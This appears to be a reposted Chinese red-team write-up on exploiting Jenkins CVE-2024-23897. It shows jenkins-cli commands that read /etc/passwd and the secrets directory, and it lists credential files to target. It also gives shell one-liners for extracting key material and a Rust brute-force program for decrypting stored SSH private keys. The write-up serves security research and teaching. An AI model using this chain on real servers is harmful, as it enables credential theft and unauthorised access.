从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

admin 2024年8月2日16:19:40评论47 views字数 5165阅读17分13秒阅读模式

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

长话短说:

作为一名红队成员,您遇到了一个存在 CVE-2024-23897 漏洞的 Jenkins 实例,该漏洞允许有限的任意文件读取。在没有凭证且 /script 端点无法访问的情况下,您试图通过泄露 Hudson 来解密凭证,从而利用此漏洞。

CVE-2024-23897 是什么?

CVE-2024-23897 是 Jenkins 中的一个严重漏洞,攻击者可以利用该漏洞读取 Jenkins 服务器上的任意文件,从而可能导致远程代码执行。此漏洞源自 args4j 库,当参数以“@”字符开头时,该库会自动将文件内容扩展为命令参数。

尽管在线资源经常表明此漏洞可能导致远程代码执行,但它们通常无法解释这种升级所需的具体技术细节和 POC。

RCE 条件:

1.资源根 URL:

  • “资源根 URL”功能已启用。

  • 攻击者可以检索二进制秘密。

  • 攻击者需要 (非匿名) 用户帐户的 API 令牌。此用户帐户当前不需要拥有总体/读取权限。

2.“记住我” Cookie:

  • “记住我”功能已启用(默认设置)。

  • 攻击者拥有总体/读取权限,这使他们可以读取文件中初始行以外的内容。

  • 攻击者可以检索二进制秘密。

3.通过绕过 CSRF 保护执行远程代码:

  • 攻击者可以检索二进制秘密。

  • Web 会话 ID 不是 CSRF 碎片的一部分。

在我们的案例中,上述条件均未得到满足。此外,该通报还提到了读取二进制文件的限制,详情如下:

读取二进制文件的限制

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

可用漏洞

有几种可用的 POC,到目前为止我尝试过的最好的是这个

git clone https://github.com/xaitax/CVE-2024-23897.git

作为未经身份验证的用户,我们只能通过提供的命令读取任何文件的前三行。

  • who-am-i:读取第一行。

  • enable-job:读第二行。

  • help:读第3行。

也可以直接使用文件执行jenkins-cli.jar,该文件可以从 URL 下载http://target/jnlpJars/jenkins-cli.jar。例如:

java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/etc/passwd' 2>&1ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bashjava -jar jenkins-cli.jar who-am-iReports your credential and permissions.

在实际的红队行动中,目标很可能需要通过隧道(Proxychains)来访问,而工具jenkins-cli.jar可能无法通过,但可以使用 Python 脚本。在这种情况下,可以在 Windows 机器上使用 Proxifier 之类的工具来克服这一挑战。

读取文件

由于身份验证,我们可以访问的线路有限,因此我们必须确定可能部分帮助我们的感兴趣的文件。

可以测试的关键文件包括:

  • /proc/self/environ

  • /proc/self/cmdline

  • ${JENKINS_HOME}/credentials.xml(Jenkins 主页位于/proc/self/*)

  • ${JENKINS_HOME}/secrets/master.key

  • ${JENKINS_HOME}/secrets/initialAdminPassword

即使攻击者可以访问所有上述文件(包括),但master.key仅靠这些资产也不足以解密凭证。

对 Jenkins 如何加密和解密凭证的分析(如该脚本所示)表明,需要三个组件:

  • master.key

  • hudson.util.Secret(二进制文件)

  • encrypted credential(例如,AQAAABAAAAAQmEZaw8Fv9tPlXWVQye1TR2KgF3p/wGoYs/TEQCmSxkk=)

分析二进制数据的检索

在二进制数据检索中,缺少hudson.util.Secret会带来重大挑战。尝试使用上述漏洞检索它将失败,并伴有以下错误:

http://localhost:9091 not reachable: 'utf-8' codec can't decode byte 0xc6 in position 10: invalid continuation byte
此问题是由于存在不可打印字符而引起的。但是,按如下方式修改第 80 行可以解决此问题:
 result = response.hex()

在研究过程中,我们发现 ippSec 在尝试解决构建机器时也遇到了类似的问题,正如他们的 YouTube 视频 https://www.youtube.com/watch?v=jYCOIf9Fcmo&t=1427s 中所强调的那样。

Wireshark 分析

使用 Wireshark 分析检查二进制文件的检索。值得注意的是,二进制文件在字节序列之后开始,从第 4 个字节开始643a20重复序列。EFBFBD

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

这只是在测试环境中的情况。

EFBFBD 和 UTF-8 转换 (�)

EF BF BD(十六进制),这是 Unicode 字符的 utf-8 编码 U+FFFD替换字符。当将字节序列解码为 Unicode 字符时,程序可能会遇到一组无效的字节(即它不对应于 Unicode 字符)。在这种情况下,程序有三种选择:它可以停止解码并引发错误,默默跳过无效的字节组,或者将字节组转换为特殊标记。后一种方案允许读取大部分文本,但仍会留下出现问题的迹象。

偶然发现了Guillaume的博客,这给了我很大的启发。Guillaume 解释了 UTF-8 和EFBFBD替换字符的暴力破解方法,并用 rust 编写了一段很好的代码来破解它。

如果你能破解我的话:感谢山姆大叔的出口规则!

如前所述,该漏洞受限于只能读取密钥的几行,因此很难破解。然而,Guillaume 有了新发现:由于美国出口限制,密钥仅限于128 bits或16 bytes。

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

这意味着,为了成功解密,只读取16 bytesHudson 文件的第一部分就足够了,即使只有前面几行可访问。

根据已知明文记录密钥

现在有了credentials.xml文件中的加密凭据,或者您可以通过构建日志历史记录获取,以防您在红队期间设法从受限访问用户那里窃取 cookie,但/script由于缺乏overall permissions我们可以知道部分纯文本凭据而仍然无法访问,例如,如果它是私钥,通常它以它开头-----BEGIN OPENSSH PRIVATE KEY-----,因为我们的目标是前 16 个字节,它应该按如下方式工作:

风不随船而动

在仔细阅读了 Guillaume 代码和博客文章,并理解了替换字符的概念后,我迫不及待地想要开始解密 Hudson 和保密密钥。不幸的是,我的期待落空了。

在我的情况下,检查初始 16 个字节后,很明显EFBFBD替换字符不存在。

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

Hudson 文件的实际字节数从 之后开始3a20。前 32 个字节由 Jenkins-cli 本身输出,与文件无关。

为了避免Hudson文件本身的字节和jenkins-cli错误混淆,可以应用下面的单行代码:

cat hudson.bin | tail -c +33 | head -c +16 | xxd

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

字节模式

我找不到替换字节EFBFBD,这可能意味着 Hudson 二进制文件已正确检索,或者有其他问题。破解机密密钥无效。

考虑到不同的编码可能会改变替换字节,我想知道它是一个序列还是只是一个字节。

我设置了几个具有不同环境和编码的 Jenkins 实例,读取二进制文件以发现模式。我怀疑替换字节可能是一个字节。

使用这一行代码,我检查了重复次数最多的字节,并将其确定0x3f为潜在的替换字节

dd if=hudson.bin bs=1 skip=32 count=16 2>/dev/null | xxd -p | fold -w2 | sort | uniq -c | sort -nr | head -n 1

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

通过查看几种编码,我们可以大致了解替换字符字节的样子,如下表所示:

编码 替换字节
UTF-8 EF BF BD
UTF-16 00FD Big Endian / FD00 Little Endian
UTF-32 0000FFD Big Endian / FDFF0000 Little Endian
ISO-8859-1 (Latin-1) 3f

分析加密文件,获取IV和密文

此外,基于上述测试,我们需要分析密文并提取 IV 和 16 个字节的密码。我们注意到该文件有一个标头,然后是 IV,然后是密文。

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

IV 通常从10th字节的头部之后开始。

放在一起

现在是时候把所有内容放在一起并自动执行破解加密凭据的步骤了:

获取Hudson文件

java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/var/jenkins_home/secrets/hudson.util.Secret' 2>&1  | tail -c +33 | head -c 192 | xxd | tee hudson.bin

对 master.key 进行排序

主密钥所需的步骤是将其十六进制化,然后对其第一个进行 sha25616 bytes

cat masterkey.bin | xxd -p | tr -d 'n' | xxd -r -p | sha256sum | cut -c1-32 | sed 's/../0x&,/g'

获取IV和密文

您可以将这些行应用于密文

echo -n $1 | base64 -d | tail -c +10 | head -c +16 | xxd -p | sed 's/../0x&,/g'echo -n $1 | base64 -d | tail -c +26 | xxd -p | sed 's/../0x&,/g'

第一个输出为 IV,第二个输出为密文。

开始暴力破解

我将使用由 Guillaume 开发的相同 rust 代码,并稍作修改,仅检查可打印字符,并检查解密文本的前 5 个字节是否是-----私有 ssh 密钥的开头。

extern crate aes;extern crate rayon;extern crate itertools;use std::str;use rayon::prelude::*;use aes::Aes128;use aes::cipher::typenum;use aes::cipher::{    BlockDecrypt, KeyInit,    generic_array::GenericArray,};fn do_decrypt(candidate: GenericArray<u8, typenum::U16>) {    let mut ct = GenericArray::from([]);    let iv = GenericArray::from([]);    let cipher2 = Aes128::new(&candidate);    cipher2.decrypt_block(&mut ct);    // AES-CBC, need to xor pt with iv    for n in 0..16 {        ct[n] ^= iv[n];    }    // checking if the first 5 bytes start with ----    for k in 0..5{     if ct[k] != 0x2d {        return     }    }    // ensure that all decrypted bytes are printable characters   for k in 0..16 {    if ct[k as usize] > 0x7F || ct[k as usize] < 0x20 {        return     }   }    println!("{:?}: Candidate {:?}", str::from_utf8(&ct), &candidate);}fn main() {    let derived_master_key = GenericArray::from([]);    let cipher1 = Aes128::new(&derived_master_key);    let vec: Vec<u8> = (0x80..=0xFF).collect();    vec.par_iter().for_each(|a: &u8| {        for b in 0x80..=0xFF {            for c in 0x80..=0xFF {                for d in 0x80..=0xFF {                    for e in 0x80..=0xFF {                            let mut candidate = GenericArray::from([]);                            cipher1.decrypt_block(&mut candidate);                            do_decrypt(candidate)                    }                }            }        }    });}

破解行动/演示

演示视频

表现

我在Macbook M1 Pro上执行了该脚本,字节数为5,大约花费了9分28秒到18分29秒。

从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

最后的想法

丢失的字节可能会有所不同;有时少于 6 个字节,有时最多为 9 个字节。

编码会对结果产生重大影响,因此请注意潜在的编码问题。

对漏洞警告要谨慎;它们可能会产生误导。

原文始发于微信公众号(Ots安全):从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月2日16:19:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)https://cn-sec.com/archives/3026610.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息